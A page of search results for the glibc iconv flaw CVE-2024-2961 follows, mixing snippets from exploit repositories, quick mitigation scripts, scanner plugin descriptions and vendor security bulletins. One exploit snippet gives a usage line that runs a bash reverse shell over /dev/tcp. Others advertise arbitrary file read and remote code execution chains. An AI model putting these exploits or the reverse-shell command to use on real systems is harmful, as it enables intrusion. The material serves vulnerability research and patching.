125 matches found
CVE-2024-2961_poc
This repository does not have a README...
iconvfix
iconvfix Bash-скрипт для исправления уязвимости CVE-2024-2961 В настоящее время работает на Centos7. Без гарантий, не используйте на рабочих системах, это всего лишь внутренний помощник : Использование tsh ssh username@target sudo 'bash -s' iconvfix.sh...
CVE-2023-26326_Buddyform_exploit
usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...
FIX-CVE-2024-2961
Quick and dirty shell script to mitigate CVE-2024-2961 on Ubuntu and likely other platforms run the shell script and that should be it. You may also need to alter the path for gconv configs Matt...
CVE-2024-2961
CVE-2024-2961 Uses CVE-2024-2961 to perform an arbitrary file read Usage Use with wrapwrap for maximum potency. usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message and exit -t TARGET, --target...
cve-2024-2961
cve-2024-2961 Custom version of https://sansec.io/downloads/cve-2024-2961.c Credit: https://github.com/ambionics/cnext-exploits https://github.com/absolutedesignltd/iconvfix...
CVE-2022-31626-CVE-2024-2961-CVE-2019-6977
CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized...
osTicketFileReadIntoRCE
CVE-2026-22200: osTicket Arbitrary File Read to RCE Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 CNEXT for unauthenticated Remote Code Execution on vulnerable osTicket installations. Table of Contents Overview Vulnerability Details Attack Flow Features Installation...
Exploit for Out-of-bounds Write in Gnu Glibc
CVE-2024-2961 CNEXT XXE Channel Adaptation for Exploit Scrip...
Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250
An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
Exploit for CVE-2024-2961
CVE-2026-22200: osTicket Arbitrary File Read to RCE...
TencentOS Server 3: glibc (TSSA-2024:0134)
The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...
Siemens SIMATIC S7-1500 Out-of-bounds Write (CVE-2024-2961)
The iconv function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable. This plugin only works with...
Security Bulletin: The iconv() function in the GNU C Library affects IBM Data Observability by Databand Self-Hosted (CVE-2024-2961)
Summary The vulnerability regarding iconv function in the GNU C Library versions 2.39 and older was addressed in IBM Data Observability by Databand Self-Hosted. Vulnerability Details CVEID:CVE-2024-2961 DESCRIPTION: The iconv function in the GNU C Library versions 2.39 and older may overflow the...
Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-6.10.1.6)
The version of AOS installed on the remote host is prior to 6.10.1.6. It is, therefore, affected by multiple vulnerabilities as referenced in the NXSA-AOS-6.10.1.6 advisory. - BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors...
Oracle Linux 8 : glibc (ELSA-2025-20375)
The remote Oracle Linux 8 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2025-20375 advisory. - CVE-2025-4802: static setuid dlopen may search LDLIBRARYPATH RHEL-92685 - CVE-2025-0395: Fix a buffer overflow in assert RHEL-83306 - CVE-2024-33599: nscd:...
TencentOS Server 3: glibc (TSSA-2024:0149)
The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0149 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...
Alibaba Cloud Linux 3 : 0070: glibc (ALINUX3-SA-2024:0070)
The remote Alibaba Cloud Linux 3 host has packages installed that are affected by a vulnerability as referenced in the ALINUX3-SA-2024:0070 advisory. Package updates are available for Alibaba Cloud Linux 3 that fix the following vulnerabilities: CVE-2024-2961: The iconv function in the GNU C...
Security Bulletin: Vulnerability in glibc affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component.
Summary Potential vulnerability in glibc has been identified that affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component. The vulnerability have been addressed. Refer to details for additional information. Vulnerability...